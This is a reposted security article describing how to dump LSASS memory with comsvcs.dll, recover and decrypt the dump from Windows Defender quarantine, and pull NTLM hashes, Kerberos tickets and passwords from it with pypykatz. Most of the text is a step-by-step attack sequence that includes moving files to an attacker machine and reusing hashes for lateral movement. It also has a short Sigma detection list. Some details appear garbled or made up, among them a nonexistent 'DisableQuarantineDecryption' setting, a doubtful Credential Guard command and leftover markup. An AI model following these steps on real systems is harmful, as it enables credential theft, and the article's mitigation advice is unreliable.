Bypassing Windows Defender: Decrypting Quarantined LSASS Dumps for Credential Extraction

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Introduction

Windows Defender often quarantines malicious files like LSASS dumps to prevent credential theft. However, a decade-old vulnerability allows attackers to decrypt quarantined files using a leaked static key. This article demonstrates how adversaries can bypass Defender’s protections to extract sensitive credentials, emphasizing the need for layered security.

Learning Objectives

• Understand how LSASS dumping techniques evade EDR/AV detection.
• Learn to decrypt Windows Defender’s quarantined files using a leaked key.
• Extract credentials from LSASS dumps with tools like pypykatz.

1. Dumping LSASS Memory with MiniDumpWriteDump

Command (Windows):

rundll32.exe C:\windows\System32\comsvcs.dll MiniDumpWriteDump (Get-Process lsass).Id lsass.dmp full

Steps:

1. Execute the above command to dump LSASS memory to lsass.dmp.
2. Defender may quarantine the file, but the dump is already written to disk.
3. Attackers can proceed to recover it from quarantine.

2. Locating Quarantined Files in Windows Defender

Path:

[/bash]

C:\ProgramData\Microsoft\Windows Defender\Quarantine\ResourceData

Steps: 
1. Navigate to the quarantine folder. 
2. Identify encrypted files (e.g., <code>A8B3C1D4E5</code>). 
3. Copy these files to an attacker-controlled machine for decryption.

<ol>
<li>Decrypting Quarantined Files with Python 
Python Script (Kali Linux): 
[bash]
from malduck import quaran 
quaran.extract("encrypted_file", "decrypted_output.dmp") 

Steps:

1. Use the script from malduck to decrypt the file.
2. The static key (0x42BEEAAF) is hardcoded in Defender’s encryption.

3. Output the decrypted LSASS dump for analysis.

4. Extracting Credentials with Pypykatz

Command (Kali Linux):

pypykatz lsa minidump decrypted_output.dmp

Steps:

1. Install `pypykatz` via `pip install pypykatz`.

1. Run the command to extract NTLM hashes, Kerberos tickets, and plaintext passwords.
2. Use the hashes for lateral movement or privilege escalation.

5. Mitigation: Disabling Quarantine File Decryption

Group Policy (Windows):

Set-MpPreference -DisableQuarantineDecryption 1

Steps:

1. Apply this GPO to prevent decryption of quarantined files.

2. Combine with LSASS protection (`EnableLSAProtection`).

3. Monitor for unusual access to `C:\ProgramData\Microsoft\Windows Defender\Quarantine`.

6. Detecting LSASS Dumping Attempts

Sigma Rule (SIEM):

detection:
keywords:
- "MiniDumpWriteDump"
- "comsvcs.dll"

Steps:

1. Deploy this rule to alert on LSASS dumping.
2. Pair with Sysmon Event ID 10 (Process Access to LSASS).

7. Hardening LSASS with Credential Guard

Command (Windows):

Enable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-CredentialGuard"

Steps:

1. Enable Credential Guard via UEFI lock.

2. Prevents LSASS memory reads by unauthorized processes.

What Undercode Say

• Key Takeaway 1: Defender’s quarantine is not a secure containment mechanism—attackers can decrypt files with minimal effort.
• Key Takeaway 2: Layered defenses (Credential Guard, EDR, and LSASS hardening) are critical to mitigate credential theft.

Analysis:

The static encryption key flaw underscores how legacy vulnerabilities persist in modern systems. While Defender detects LSASS dumping, the quarantine mechanism fails as a last line of defense. Organizations must assume breach scenarios and audit quarantine folder access. Future attacks may leverage AI to automate decryption, making patching and monitoring urgent priorities.

Prediction:

As attackers weaponize AI for faster decryption and evasion, Microsoft may phase out static-key encryption in favor of dynamic keys tied to hardware TPMs. Until then, red teams will continue exploiting this loophole in penetration tests.

IT/Security Reporter URL:

Reported By: Stephan Berger – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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